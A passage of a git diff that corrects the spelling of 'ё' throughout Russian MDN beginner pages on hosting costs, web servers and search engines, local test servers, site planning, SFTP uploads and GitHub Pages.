    Хостинг-провайдеры взимают плату в зависимости от того, сколько {{Glossary("Bandwidth", "bandwidth")}} ваш веб-сайт потребил. Это зависит от того как много людей и бот-сканеров получали доступ к вашему контенту за определенный промежуток времени, и, как много серверного пространства этот контент занимает. Вот почему многие люди, обычно, размещают их видео на удаленных сервисах, таких как Youtube, Dailymotion, и Vimeo. Например, ваш провайдер может иметь план, который позволяет выдерживать до нескольких тысяч посетителей в день. Однако, будьте осторожны, так как это условие меняется от одного провайдера к другому. Возьмите за правило, что надежный, платный персональный хостинг может стоить около 10-15 долларов в месяц.

    +

    Хостинг-провайдеры взимают плату в зависимости от того, сколько {{Glossary("Bandwidth", "bandwidth")}} ваш веб-сайт потребил. Это зависит от того как много людей и бот-сканеров получали доступ к вашему контенту за определённый промежуток времени, и, как много серверного пространства этот контент занимает. Вот почему многие люди, обычно, размещают их видео на удалённых сервисах, таких как Youtube, Dailymotion, и Vimeo. Например, ваш провайдер может иметь план, который позволяет выдерживать до нескольких тысяч посетителей в день. Однако, будьте осторожны, так как это условие меняется от одного провайдера к другому. Возьмите за правило, что надёжный, платный персональный хостинг может стоить около 10-15 долларов в месяц.

    Заметьте, что не существует такого понятия, как "неограниченная пропускная способность". Если вы использовали огромное количество трафика, будьте готовы выплатить огромную сумму денег.

    @@ -99,7 +99,7 @@ translation_of: Learn/Common_questions/How_much_does_it_cost

    Доменные имена

    -

    Ваше доменное имя должно быть приобретено через провайдера доменных имен (регистратор). Ваш хостинг-провайдер может также быть регистратором (1&1, Gandi, например, являются в одно и тоже время регистраторами и хостинг-провайдерами). Доменное имя обычно имеет стоимость в $5-15 за год. Эта цена варьируется в зависимости от:

    +

    Ваше доменное имя должно быть приобретено через провайдера доменных имён (регистратор). Ваш хостинг-провайдер может также быть регистратором (1&1, Gandi, например, являются в одно и тоже время регистраторами и хостинг-провайдерами). Доменное имя обычно имеет стоимость в $5-15 за год. Эта цена варьируется в зависимости от:

    • Местных обязательств: В некоторых странах домены верхнего уровня стоят дороже, так как разные страны устанавливают различные цены.
      • @@ -110,7 +110,7 @@ translation_of: Learn/Common_questions/How_much_does_it_cost

      Когда вы хотите опубликовать веб-сайт, вы можете сделать все самостоятельно: настроить базу данных (если требуется), Систему управления наполнением, или {{Glossary("CMS")}} (такую как Wordpress, Dotclear, spip, и тд.), загружать заранее подготовленные вами шаблоны.

      -

      Вы можете использовать среду хостинг-провайдера, примерно за 10-15 долларов в месяц, или подписаться напрямую к удаленному хостинг-сервису с предустановленным CMSs (такие как, Wordpress, Tumblr, Blogger). В последнем случае, вам не придется платить ни за что, но вы будете иметь меньше контроля над шаблонами и другими элементами.

      +

      Вы можете использовать среду хостинг-провайдера, примерно за 10-15 долларов в месяц, или подписаться напрямую к удалённому хостинг-сервису с предустановленным CMSs (такие как, Wordpress, Tumblr, Blogger). В последнем случае, вам не придётся платить ни за что, но вы будете иметь меньше контроля над шаблонами и другими элементами.

      Бесплатный хостинг vs. платный

      @@ -121,7 +121,7 @@ translation_of: Learn/Common_questions/How_much_does_it_cost
    • Бесплатные хостинги могут добавлять рекламные объявления к вашему контенту, в обход вашего контроля.
    -

    Лучше обратиться к платному хостингу, чем полагаться на бесплатный, так как большинство платных сайтов гарантируют бесперебойную работу и позволяют с легкостью управлять файловой структурой. Большинство хостинг-провайдеров предоставят вам огромную скидку для старта.

    +

    Лучше обратиться к платному хостингу, чем полагаться на бесплатный, так как большинство платных сайтов гарантируют бесперебойную работу и позволяют с лёгкостью управлять файловой структурой. Большинство хостинг-провайдеров предоставят вам огромную скидку для старта.

    Некоторые люди выбирают смешанный подход. Например, их главный блог на платном хосте, с полным доменном именем, а неожиданный менее важный контент, на бесплатном хосте.

    @@ -142,9 +142,9 @@ translation_of: Learn/Common_questions/How_much_does_it_cost

    ...и для хостинга:

      -
    • Хотите ли вы иметь резервный сервер, если вдруг ваш упадет?
      • -
    • Надежность 95%, или вам требуется круглосуточный сервис обслуживания?
      • -
    • Вам нужны высокопроизводительные, сверхчувствительные удаленные серверы или вам будет достаточно более медленной, машиной, предназначенной для совместного использования.
      • +
    • Хотите ли вы иметь резервный сервер, если вдруг ваш упадёт?
      • +
    • Надёжность 95%, или вам требуется круглосуточный сервис обслуживания?
      • +
    • Вам нужны высокопроизводительные, сверхчувствительные удалённые серверы или вам будет достаточно более медленной, машиной, предназначенной для совместного использования.

    В зависимости от ответа на эти вопросы, ваш сайт может обойтись вам в тысячи или даже сотни тысяч долларов.

    diff --git a/files/ru/learn/common_questions/index.html b/files/ru/learn/common_questions/index.html index 99127001de..325d2791d6 100644 --- a/files/ru/learn/common_questions/index.html +++ b/files/ru/learn/common_questions/index.html @@ -78,7 +78,7 @@ translation_of: Learn/Common_questions

    Как загрузить файлы на веб-сервер?

    -
    В этой статье показано, как публиковать свой сайт в Интернете с помощью инструментов FTP - одним из самых распространенных способов сделать сайт общедоступным, чтобы другие пользователи могли получить доступ к нему со своих компьютеров.
    +
    В этой статье показано, как публиковать свой сайт в Интернете с помощью инструментов FTP - одним из самых распространённых способов сделать сайт общедоступным, чтобы другие пользователи могли получить доступ к нему со своих компьютеров.

    Как использовать GitHub Pages?

    @@ -105,7 +105,7 @@ translation_of: Learn/Common_questions

    Какова структура наиболее используемых макетов сайтов?

    -
    При разработке страниц вашего сайта хорошо иметь представление о наиболее распространенных макетах. В этой статье приведены некоторые типичные макеты веб-сайтов, а также части, которые входят в каждый макет.
    +
    При разработке страниц вашего сайта хорошо иметь представление о наиболее распространённых макетах. В этой статье приведены некоторые типичные макеты веб-сайтов, а также части, которые входят в каждый макет.

    Что такое удобство использования?

    @@ -125,7 +125,7 @@ translation_of: Learn/Common_questions

    Чтобы узнать о распространённых решениях большинства проблем в HTML / CSS / JavaScript, используйте следующие статьи:

    diff --git a/files/ru/learn/common_questions/pages_sites_servers_and_search_engines/index.html b/files/ru/learn/common_questions/pages_sites_servers_and_search_engines/index.html index 38139a33b7..a7a189fb93 100644 --- a/files/ru/learn/common_questions/pages_sites_servers_and_search_engines/index.html +++ b/files/ru/learn/common_questions/pages_sites_servers_and_search_engines/index.html @@ -12,7 +12,7 @@ translation_of: Learn/Common_questions/Pages_sites_servers_and_search_engines original_slug: Learn/Pages_sites_servers_and_search_engines ---
    -

    В этой статье мы расскажем о различных понятиях связанных с Веб: о веб-страницах, веб-сайтах, веб-серверах и о поисковых системах. Эти термины часто ставят в тупик как начинающих работу с Веб, так и людей, редко пользующихся сетью. Давайте же разберемся, что именно эти понятия означают!

    +

    В этой статье мы расскажем о различных понятиях связанных с Веб: о веб-страницах, веб-сайтах, веб-серверах и о поисковых системах. Эти термины часто ставят в тупик как начинающих работу с Веб, так и людей, редко пользующихся сетью. Давайте же разберёмся, что именно эти понятия означают!

    @@ -53,7 +53,7 @@ original_slug: Learn/Pages_sites_servers_and_search_engines

    Погружаемся глубже

    -

    Итак, давайте копнем чуть глубже и узнаем, как эти 4 термина связаны между собой, и почему данные понятия зачастую путают друг с другом.

    +

    Итак, давайте копнём чуть глубже и узнаем, как эти 4 термина связаны между собой, и почему данные понятия зачастую путают друг с другом.

    Веб-страница

    @@ -69,7 +69,7 @@ original_slug: Learn/Pages_sites_servers_and_search_engines

    Примечание: браузеры зачастую могут отображать некоторые документы в формате PDF файла или изображения, но термин веб-страница больше относится непосредственно к HTML-документам. До конца статьи, в данном случае, мы будем использовать понятие  документ.

    -

    Все веб-страницы в сети имеют свой уникальный адрес. Чтобы получить доступ к нужной странице просто наберите ее адрес в адресной строке Вашего браузера:

    +

    Все веб-страницы в сети имеют свой уникальный адрес. Чтобы получить доступ к нужной странице просто наберите её адрес в адресной строке Вашего браузера:

    Example of a web page address in the browser address bar

    @@ -95,17 +95,17 @@ original_slug: Learn/Pages_sites_servers_and_search_engines

    Веб-сервер

    -

    Веб-сервер - это компьютер, предоставляющий в сеть один или множество веб-сайтов (хостинг). Понятие "хостинг" - означает, что все страницы и прикрепленные к ним файлы содержатся на данном компьютере. Т.е. Веб-сервер будет отправлять любую страницу с сайта по запросу любого пользователя, что и будет хостингом для браузера пользователя.

    +

    Веб-сервер - это компьютер, предоставляющий в сеть один или множество веб-сайтов (хостинг). Понятие "хостинг" - означает, что все страницы и прикреплённые к ним файлы содержатся на данном компьютере. Т.е. Веб-сервер будет отправлять любую страницу с сайта по запросу любого пользователя, что и будет хостингом для браузера пользователя.

    -

    Не путайте понятия веб-сайта и веб-сервера. Например, если Вы слышите, что кто-либо говорит: "Мой веб-сайт не отвечает", на самом деле это означает, что это веб-сервер не отвечает на запрос, и поэтому недоступен и сам сайт. Более того, так как веб-сервер может разместить несколько сайтов, термин веб-сервер никогда не используется для обозначения веб-сайта, так как это могло бы привести к большой путанице. Вернемся к предыдущему примеру: если бы мы сказали: "Мой веб-сервер не отвечает", это значило бы, что на этом сервере нет доступных сайтов в данный момент.

    +

    Не путайте понятия веб-сайта и веб-сервера. Например, если Вы слышите, что кто-либо говорит: "Мой веб-сайт не отвечает", на самом деле это означает, что это веб-сервер не отвечает на запрос, и поэтому недоступен и сам сайт. Более того, так как веб-сервер может разместить несколько сайтов, термин веб-сервер никогда не используется для обозначения веб-сайта, так как это могло бы привести к большой путанице. Вернёмся к предыдущему примеру: если бы мы сказали: "Мой веб-сервер не отвечает", это значило бы, что на этом сервере нет доступных сайтов в данный момент.

    Поисковая система

    -

    Поисковые системы являются распространенной причиной путаницы в сети. Поисковая система - это специальный вид веб-сайта, который помогает пользователям найти нужные страницы других сайтов.

    +

    Поисковые системы являются распространённой причиной путаницы в сети. Поисковая система - это специальный вид веб-сайта, который помогает пользователям найти нужные страницы других сайтов.

    -

    Наиболее популярные поисковые системы: Google, Bing, Yandex, DuckDuckGo, и многие другие. Некоторые из них универсальны, а какие-то ориентированы на определенную область. Используйте тот поисковик, который удобен Вам.

    +

    Наиболее популярные поисковые системы: Google, Bing, Yandex, DuckDuckGo, и многие другие. Некоторые из них универсальны, а какие-то ориентированы на определённую область. Используйте тот поисковик, который удобен Вам.

    -

    Многие начинающие пользователи сети путают между собой поисковую систему и браузер. Давайте поясним: браузер - это программное обеспечение, которое находит и отображает веб-страницы; поисковая система - это специальный вид сайта, который помогает пользователям найти нужные страницы других сайтов. Путаница возникает из-за того, что когда кто-либо впервые запускает браузер, тот отображает домашнюю страницу поисковой системы. Это именно так, ведь первое, что Вы делаете, запуская браузер, это находите веб-страницу и открываете ее. Но не путайте инфраструктуру (т.е. браузер) с сервисом (т.е. поисковой системой). Это отличие несколько поможет Вам, но даже некоторые специалисты произвольно употребляют данные понятия, так что из-за этого не следует особо переживать. 

    +

    Многие начинающие пользователи сети путают между собой поисковую систему и браузер. Давайте поясним: браузер - это программное обеспечение, которое находит и отображает веб-страницы; поисковая система - это специальный вид сайта, который помогает пользователям найти нужные страницы других сайтов. Путаница возникает из-за того, что когда кто-либо впервые запускает браузер, тот отображает домашнюю страницу поисковой системы. Это именно так, ведь первое, что Вы делаете, запуская браузер, это находите веб-страницу и открываете её. Но не путайте инфраструктуру (т.е. браузер) с сервисом (т.е. поисковой системой). Это отличие несколько поможет Вам, но даже некоторые специалисты произвольно употребляют данные понятия, так что из-за этого не следует особо переживать. 

    Ниже пример того, как браузер Firerox по умолчанию отображает окно поиска Google на стартовой (домашней) странице:

    diff --git a/files/ru/learn/common_questions/set_up_a_local_testing_server/index.html b/files/ru/learn/common_questions/set_up_a_local_testing_server/index.html index 107fde3801..b83a09368d 100644 --- a/files/ru/learn/common_questions/set_up_a_local_testing_server/index.html +++ b/files/ru/learn/common_questions/set_up_a_local_testing_server/index.html @@ -22,15 +22,15 @@ translation_of: Learn/Common_questions/set_up_a_local_testing_server
    -

    Локальные и удаленные файлы

    +

    Локальные и удалённые файлы

    На протяжении всего обучения, вы будете открывать примеры непосредственно в браузере — двойным кликом по HTML файлу, перетаскиванием файла в окно браузера, или через меню File > Open... и указывая необходимый HTML файл. Существует множество способов как это сделать.

    -

    Если веб-адрес начинается с file:// в котором далее прописан путь к файлу на вашем локальном жестком диске, значит используется локальный файл. В противоположность этому, если вы откроете на просмотр один из наших примеров, расположенных на GitHub (или пример расположенный на любом другом удаленном сервере), веб-адрес будет начинаться с http:// или https://, что означает что файл был получен через HTTP.

    +

    Если веб-адрес начинается с file:// в котором далее прописан путь к файлу на вашем локальном жёстком диске, значит используется локальный файл. В противоположность этому, если вы откроете на просмотр один из наших примеров, расположенных на GitHub (или пример расположенный на любом другом удалённом сервере), веб-адрес будет начинаться с http:// или https://, что означает что файл был получен через HTTP.

    Проблемы тестирования локальных файлов

    -

    Некоторые примеры могут не запуститься, если вы попробуете открыть их как локальные файлы. Это может произойти по нескольким причинам, самые распространенные из которых:

    +

    Некоторые примеры могут не запуститься, если вы попробуете открыть их как локальные файлы. Это может произойти по нескольким причинам, самые распространённые из которых:

    • Они содержат асинхронные запросы. Некоторые браузеры (включая Chrome) не будут запускать асинхронные запросы (см. Fetching data from the server), если вы просто запускаете пример из локального файла. Это связано с ограничениями безопасности (для получения дополнительной информации о безопасности в Интернете, ознакомьтесь с Website security).
      • @@ -62,7 +62,7 @@ translation_of: Learn/Common_questions/set_up_a_local_testing_server 
      python -V
    • -

      Система вернет Вам номер версии установленной программы. В случае успешного выполнения команды python -V  нужно перейти в директорию с вашим проектом, используя команду cd:

      +

      Система вернёт Вам номер версии установленной программы. В случае успешного выполнения команды python -V  нужно перейти в директорию с вашим проектом, используя команду cd:

      # include the directory name to enter it, for example
 cd Desktop
@@ -78,7 +78,7 @@ python -m http.server
 python -m SimpleHTTPServer
    • -

      По умолчанию это приведет к запуску содержимого каталога на локальном веб-сервере на порту 8000. Вы можете перейти на этот сервер, перейдя на URL-адрес localhost: 8000 в своем веб-браузере. Здесь вы увидите содержимое указанного каталога - щелкните файл HTML, который вы хотите запустить.

      +

      По умолчанию это приведёт к запуску содержимого каталога на локальном веб-сервере на порту 8000. Вы можете перейти на этот сервер, перейдя на URL-адрес localhost: 8000 в своём веб-браузере. Здесь вы увидите содержимое указанного каталога - щёлкните файл HTML, который вы хотите запустить.

      • @@ -91,7 +91,7 @@ python -m SimpleHTTPServer

      Модуль Python SimpleHTTPServer (python 2.0) http.server (python 3.0) полезен, но он не знает, как запускать код, написанный на таких языках, как Python, PHP или JavaScript. Чтобы справиться с этим, вам понадобится нечто большее - именно то, что вам нужно, зависит от языка сервера, который вы пытаетесь запустить. Вот несколько примеров:

        -
      • Для запуска кода на стороне сервера Python вам необходимо использовать веб-инфраструктуру Python. Вы можете узнать, как использовать структуру Django, прочитав Django Web Framework (Python). Flask также является хорошей (чуть менее тяжелой) альтернативой Django. Чтобы запустить это, ознакомьтесь с install Python/PIP, а затем установите Flask с помощью pip3 install flask. На этом этапе вы сможете запустить примеры Python Flask, используя, например, python3 python-example.py, затем перейдя на localhost: 5000 в свой браузер.
        • +
      • Для запуска кода на стороне сервера Python вам необходимо использовать веб-инфраструктуру Python. Вы можете узнать, как использовать структуру Django, прочитав Django Web Framework (Python). Flask также является хорошей (чуть менее тяжёлой) альтернативой Django. Чтобы запустить это, ознакомьтесь с install Python/PIP, а затем установите Flask с помощью pip3 install flask. На этом этапе вы сможете запустить примеры Python Flask, используя, например, python3 python-example.py, затем перейдя на localhost: 5000 в свой браузер.
      • Чтобы запустить серверный код Node.js (JavaScript), вам нужно использовать Node.js или фреймворк, построенный поверх него. Express - хороший выбор - см. Express Web Framework (Node.js/JavaScript).
      • Чтобы запустить PHP-серверный код, вам понадобится настройка сервера, которая может интерпретировать PHP. Хорошими вариантами для локального тестирования PHP являются MAMP (Mac и Windows), AMPPS (Mac, Windows, Linux) и LAMP (Linux, Apache, MySQL и PHP / Python / Perl). Это полные пакеты, которые создают локальные настройки, позволяющие запускать базы данных Apache, PHP и MySQL.
      diff --git a/files/ru/learn/common_questions/thinking_before_coding/index.html b/files/ru/learn/common_questions/thinking_before_coding/index.html index f10459aee6..ab8ad9f053 100644 --- a/files/ru/learn/common_questions/thinking_before_coding/index.html +++ b/files/ru/learn/common_questions/thinking_before_coding/index.html @@ -27,7 +27,7 @@ translation_of: Learn/Common_questions/Thinking_before_coding

      Большинство людей, начиная свой web-проект, фокусируются прежде всего на технической его стороне. Безусловно, вы должны иметь представление о технической стороне своей работы, но гораздо важнее сперва узнать, что вы хотели бы получить в результате. Конечно это кажется очевидным, однако слишком много проектов не доживают до релиза не из-за отсутствия технических знаний, но из-за отсутствия целей и видения.

      -

      Так что когда у вас появляется какая-то идея и желание воплотить ее в web-сайте, вам необходимо ответить на 3 простых вопроса, и уже потом предпринимать что-либо иное :

      +

      Так что когда у вас появляется какая-то идея и желание воплотить её в web-сайте, вам необходимо ответить на 3 простых вопроса, и уже потом предпринимать что-либо иное :

      • Что я хочу в конце-концов получить?
        • @@ -39,7 +39,7 @@ translation_of: Learn/Common_questions/Thinking_before_coding

        Активное Обучение

        -

        На данный момент этот раздел еще не готов. Вы можете помочь сообществу разработчиков, вступив в Please, consider contributing.

        +

        На данный момент этот раздел ещё не готов. Вы можете помочь сообществу разработчиков, вступив в Please, consider contributing.

        Более глубокое погружение

        @@ -55,7 +55,7 @@ translation_of: Learn/Common_questions/Thinking_before_coding

        Что же в конце концов я хочу получить?

        -

        Этот вопрос наиболее остро нуждается в ответе, поскольку ответ является решающим в дальнейших действиях. Лучше всего подойдет список целей, которых вы хотите достичь. Это может быть что угодно: интернет-магазин, выражение политических взглядов, расширение круга общения, организация концертов, коллекционирование картинок с котиками, или что угодно еще, что вы хотите получить.

        +

        Этот вопрос наиболее остро нуждается в ответе, поскольку ответ является решающим в дальнейших действиях. Лучше всего подойдёт список целей, которых вы хотите достичь. Это может быть что угодно: интернет-магазин, выражение политических взглядов, расширение круга общения, организация концертов, коллекционирование картинок с котиками, или что угодно ещё, что вы хотите получить.

        Представьте себя музыкантом. Должно быть, вы хотите:

        @@ -87,21 +87,21 @@ translation_of: Learn/Common_questions/Thinking_before_coding

        Как сайт поможет мне в достижении цели?

        -

        И так, у вас есть конкретная цель и вам кажется, что для ее достижения нужен веб-сайт. Вы уверены?

        +

        И так, у вас есть конкретная цель и вам кажется, что для её достижения нужен веб-сайт. Вы уверены?

        -

        Вернемся к нашему примеру. У нас есть 5 задач, связанных с музыкой, одна из области личной жизни (поиск своей пары), и ни с чем не связанные фото кота. Есть ли смысл создавать сайт, который способен удовлетворить всем этим требованиям? Так ли это необходимо? В конце концов, десятки уже существующих web-сервисов способны помочь вам в достижении ваших целей.

        +

        Вернёмся к нашему примеру. У нас есть 5 задач, связанных с музыкой, одна из области личной жизни (поиск своей пары), и ни с чем не связанные фото кота. Есть ли смысл создавать сайт, который способен удовлетворить всем этим требованиям? Так ли это необходимо? В конце концов, десятки уже существующих web-сервисов способны помочь вам в достижении ваших целей.

        -

        Поиск пары - главная задача, и более разумно использовать уже существующие ресурсы, чем создавать свой. Почему? Мы потратим больше времени на создание и поддержание сайта чем на поиск своей потенциальной пары. Пока эта цель сохраняет наибольший приоритет, логичнее тратить время и силы на использование (освоение) существующего инструмента, чем начинать его создание с нуля. Аналогично, существует достаточное количество сайтов, которые уже предоставляют возможность демонстрации фотографий, чтобы на создание еще одного можно было очень коротко ответить: это того не стоит.

        +

        Поиск пары - главная задача, и более разумно использовать уже существующие ресурсы, чем создавать свой. Почему? Мы потратим больше времени на создание и поддержание сайта чем на поиск своей потенциальной пары. Пока эта цель сохраняет наибольший приоритет, логичнее тратить время и силы на использование (освоение) существующего инструмента, чем начинать его создание с нуля. Аналогично, существует достаточное количество сайтов, которые уже предоставляют возможность демонстрации фотографий, чтобы на создание ещё одного можно было очень коротко ответить: это того не стоит.

        -

        Оставшиеся пять задач непосредственно связанны с музыкой. Конечно же, на данный момент уже достаточно сайтов, обладающих подобным функционалом, но в текущем контексте имеет смысл создать сайт, посвященный именно вам. Прежде всего, сайт - это лучший способ чтобы собрать все, что мы хотим опубликовать, в одном месте (для решения проблем под номерами 3, 5 и 6) и создать среду для взаимодействия между нами и публикой (для решения проблем 2 и 4). Если проще, то так как все эти задачи из одной области, содержание всего в одном месте (веб-сайте) поможет нам в достижении целей, а также поможет нашим поклонникам связаться с нами.

        +

        Оставшиеся пять задач непосредственно связанны с музыкой. Конечно же, на данный момент уже достаточно сайтов, обладающих подобным функционалом, но в текущем контексте имеет смысл создать сайт, посвящённый именно вам. Прежде всего, сайт - это лучший способ чтобы собрать все, что мы хотим опубликовать, в одном месте (для решения проблем под номерами 3, 5 и 6) и создать среду для взаимодействия между нами и публикой (для решения проблем 2 и 4). Если проще, то так как все эти задачи из одной области, содержание всего в одном месте (веб-сайте) поможет нам в достижении целей, а также поможет нашим поклонникам связаться с нами.

        -

        Как способен сайт помочь мне решить мои проблемы? Ответив на это, вы найдете наилучшее решение для себя и убережетесь от траты усилий впустую.

        +

        Как способен сайт помочь мне решить мои проблемы? Ответив на это, вы найдёте наилучшее решение для себя и убережётесь от траты усилий впустую.

        Что и в какие сроки должно быть реализовано для достижения целей?

        -

        Теперь, когда вы уже узнали, что вам на самом деле нужно, настало время составить план, раскладывающий ваши цели на небольшие выполнимые шаги. Еще нужно помнить, что все ваши планы не есть догмы. Они постоянно эволюционируют вместе с изменением курса проекта. К примеру, если вы вдруг вспомните о чем-то ранее неучтенном, или просто измените свое видение проекта.

        +

        Теперь, когда вы уже узнали, что вам на самом деле нужно, настало время составить план, раскладывающий ваши цели на небольшие выполнимые шаги. Ещё нужно помнить, что все ваши планы не есть догмы. Они постоянно эволюционируют вместе с изменением курса проекта. К примеру, если вы вдруг вспомните о чем-то ранее неучтённом, или просто измените своё видение проекта.

        -

        Как водится, лучше один раз увидеть, чем сто раз услышать, так что вернемся к нашему примеру:

        +

        Как водится, лучше один раз увидеть, чем сто раз услышать, так что вернёмся к нашему примеру:

        @@ -147,7 +147,7 @@ translation_of: Learn/Common_questions/Thinking_before_coding
      • Приготовить их
      • Разместить в магазине
      • Найти способ доставки
        • -
      • Определиться с платежной системой
        • +
      • Определиться с платёжной системой
      • Добавить способ делать заказы на вашем сайте
        • @@ -167,10 +167,10 @@ translation_of: Learn/Common_questions/Thinking_before_coding

        Два важных замечания.

        -

        Во-первых, некоторые из этих задач не привязаны к интернету (к примеру, запись музыки или написание статей). И очень часто такие "офлайн" вещи играют большую роль в достижении целей, чем сам сайт. В продажах, к примеру, гораздо большее значение и тяжелую реализацию представляют решения вопросов доставки, оплаты и налогообложения, чем непосредственная реализация сайта с возможностью оформления заказов.

        +

        Во-первых, некоторые из этих задач не привязаны к интернету (к примеру, запись музыки или написание статей). И очень часто такие "офлайн" вещи играют большую роль в достижении целей, чем сам сайт. В продажах, к примеру, гораздо большее значение и тяжёлую реализацию представляют решения вопросов доставки, оплаты и налогообложения, чем непосредственная реализация сайта с возможностью оформления заказов.

        Во-вторых, написание плана порождает новые вопросы, которые тоже нуждаются в ответах. И, как правило, этих вопросов больше чем рассмотрено в этой статье. (К примеру, можете ли вы сделать что-то из плана самостоятельно, лучше попросить кого-то из знакомых или придётся прибегнуть к помощи третьих лиц?)

        Заключение

        -

        Как стало понятно, простая мысль "А не сделать ли мне сайт?" порождает очень много работы, и при каждом следующем обдумывании она только растет. В скором она может стать очень большой, но это не повод для паники. Вы не обязаны отвечать на все вопросы, а также выполнять каждый пункт плана. Что действительно имеет значение, так это ваше видение результата и понимание целей. Однажды создав идею, вам нужно определиться, как и когда ее реализовать. Разбивайте большие задачи на меньшие и более выполнимые. И каждая выполненная задача приблизит вас к грандиозному успеху.

        +

        Как стало понятно, простая мысль "А не сделать ли мне сайт?" порождает очень много работы, и при каждом следующем обдумывании она только растёт. В скором она может стать очень большой, но это не повод для паники. Вы не обязаны отвечать на все вопросы, а также выполнять каждый пункт плана. Что действительно имеет значение, так это ваше видение результата и понимание целей. Однажды создав идею, вам нужно определиться, как и когда её реализовать. Разбивайте большие задачи на меньшие и более выполнимые. И каждая выполненная задача приблизит вас к грандиозному успеху.

        diff --git a/files/ru/learn/common_questions/upload_files_to_a_web_server/index.html b/files/ru/learn/common_questions/upload_files_to_a_web_server/index.html index 8bb146c8a3..44b935aafb 100644 --- a/files/ru/learn/common_questions/upload_files_to_a_web_server/index.html +++ b/files/ru/learn/common_questions/upload_files_to_a_web_server/index.html @@ -55,7 +55,7 @@ translation_of: Learn/Common_questions/Upload_files_to_a_web_server

        demozilla.examplehostingprovider.net

        -

        Для загрузки файлов на этот аккаунт, пожалуйста, подключитесь через SFTP с использованием следующих учетных данных:

        +

        Для загрузки файлов на этот аккаунт, пожалуйста, подключитесь через SFTP с использованием следующих учётных данных:

        • SFTP сервер: sftp://demozilla.examplehostingprovider.net
          • @@ -74,7 +74,7 @@ translation_of: Learn/Common_questions/Upload_files_to_a_web_server

          Заметка: В зависимости от вашего хостинг-провайдера, когда вы впервые заходите на свой веб-адрес, большую часть времени вы будете видеть страницу, на которой написано что-то вроде этого: “This website is hosted by [Hosting Service].”

          -

          Чтобы подключить SFTP клиент к удаленному серверу, выполните следующие действия:

          +

          Чтобы подключить SFTP клиент к удалённому серверу, выполните следующие действия:

          1. Выберите File > Site Manager... в главном меню.
            2. @@ -92,7 +92,7 @@ translation_of: Learn/Common_questions/Upload_files_to_a_web_server

            Заметка: Убедитесь, что ваш хостинг-провайдер предлагает SFTP (безопасный FTP) подключение к вашему хостинговому пространству. FTP по своей сути небезопасен, и вам не следует его использовать.

            -

            Здесь и там: локальный и удаленный просмотр

            +

            Здесь и там: локальный и удалённый просмотр

            После подключения ваш экран должен выглядеть примерно так (мы подключились к нашему собственному примеру, чтобы дать вам представление):

            @@ -100,7 +100,7 @@ translation_of: Learn/Common_questions/Upload_files_to_a_web_server
            • По центру левой панели вы можете видеть локальные файлы. Перейдите в каталог, в котором вы храните свой веб-сайт (например, mdn).
              • -
            • По центру правой панели вы увидеть удаленные файлы. Мы вошли в наш удаленный корень FTP (в данном случае: users/demozilla)
              • +
            • По центру правой панели вы увидеть удалённые файлы. Мы вошли в наш удалённый корень FTP (в данном случае: users/demozilla)
            • Вы можете пока игнорировать нижнюю и верхнюю панели. Соответственно, это журнал сообщений, показывающий состояние соединения между вашим компьютером и SFTP-сервером, и журнал в реальном времени каждого взаимодействия между вашим SFTP-клиентом и сервером.
            @@ -108,7 +108,7 @@ translation_of: Learn/Common_questions/Upload_files_to_a_web_server

            Наш пример инструкций для хостинга указывает нам следующее: "Чтобы опубликовать в Интернете, поместите свои файлы в каталог: Public/htdocs." Вам нужно перейти в указанный каталог на правой панели. Этот каталог фактически является корнем вашего веб-сайта, где находятся ваши index.html , откуда ваши файл и другие активы будут отправлены.

            -

            После того, как вы нашли правильный удаленный каталог для размещения файлов, чтобы загрузить файлы на сервер, вам необходимо переместить их с левой панели на правую.

            +

            После того, как вы нашли правильный удалённый каталог для размещения файлов, чтобы загрузить файлы на сервер, вам необходимо переместить их с левой панели на правую.

            Как узнать, что они online?

            diff --git a/files/ru/learn/common_questions/using_github_pages/index.html b/files/ru/learn/common_questions/using_github_pages/index.html index d32300b1fe..b4d4c2e05c 100644 --- a/files/ru/learn/common_questions/using_github_pages/index.html +++ b/files/ru/learn/common_questions/using_github_pages/index.html @@ -7,19 +7,19 @@ translation_of: Learn/Common_questions/Using_Github_pages

            Публикация контента

            -

            GitHub - очень важное и полезное сообщество для участия, а Git/GitHub - очень популярная система управления версиями (version control system) - большинство технологических компаний теперь используют ее в своем рабочем процессе. GitHub имеет очень полезную функцию GitHub Pages, которая позволяет публиковать код сайта в прямом эфире в Интернете.

            +

            GitHub - очень важное и полезное сообщество для участия, а Git/GitHub - очень популярная система управления версиями (version control system) - большинство технологических компаний теперь используют её в своём рабочем процессе. GitHub имеет очень полезную функцию GitHub Pages, которая позволяет публиковать код сайта в прямом эфире в Интернете.

            Базовая установка Github

            1. Прежде всего, установите Git на свой компьютер. Это базовое программное обеспечение для управления версиями, GitHub работает поверх него.
              2. -
            2. Затем зарегистрируйтесь в учетной записи GitHub. Это просто и легко.
              3. +
            3. Затем зарегистрируйтесь в учётной записи GitHub. Это просто и легко.
            4. После того, как вы зарегистрировались, войдите в github.com с вашим именем пользователя и паролем.

            Подготовка кода для загрузки

            -

            Вы можете хранить любой код, который вам нравится, в репозитории Github, но для полнофункционального использования функции GitHub Pages ваш код должен быть структурирован как типичный веб-сайт, причем основной точкой входа является HTML-файл с именем index.html.

            +

            Вы можете хранить любой код, который вам нравится, в репозитории Github, но для полнофункционального использования функции GitHub Pages ваш код должен быть структурирован как типичный веб-сайт, причём основной точкой входа является HTML-файл с именем index.html.

            Другое, что вам нужно сделать, прежде чем двигаться дальше - это инициализировать вашу кодовую директорию как репозиторий Git. Сделать это:

            @@ -35,7 +35,7 @@ translation_of: Learn/Common_questions/Using_Github_pages

            В сторону интерфейсов командной строки

            -

            Лучший способ загрузить код в Github - через командную строку - это окно, в котором вы вводите команды, чтобы делать такие вещи, как создавать файлы и запускать программы, а не щелкать внутри пользовательского интерфейса. Он будет выглядеть примерно так:

            +

            Лучший способ загрузить код в Github - через командную строку - это окно, в котором вы вводите команды, чтобы делать такие вещи, как создавать файлы и запускать программы, а не щёлкать внутри пользовательского интерфейса. Он будет выглядеть примерно так:

            @@ -46,7 +46,7 @@ translation_of: Learn/Common_questions/Using_Github_pages

            Каждая операционная система поставляется с инструментом командной строки:

              -
            • Windows: Командная строка (Command Prompt) может быть получена нажатием клавиши Windows, набрав Command Prompt и выбрав ее из появившегося списка. Обратите внимание, что Windows имеет свои собственные условные обозначения команд, отличные от Linux и OS X, поэтому приведенные ниже команды могут отличаться на вашем компьютере.
              • +
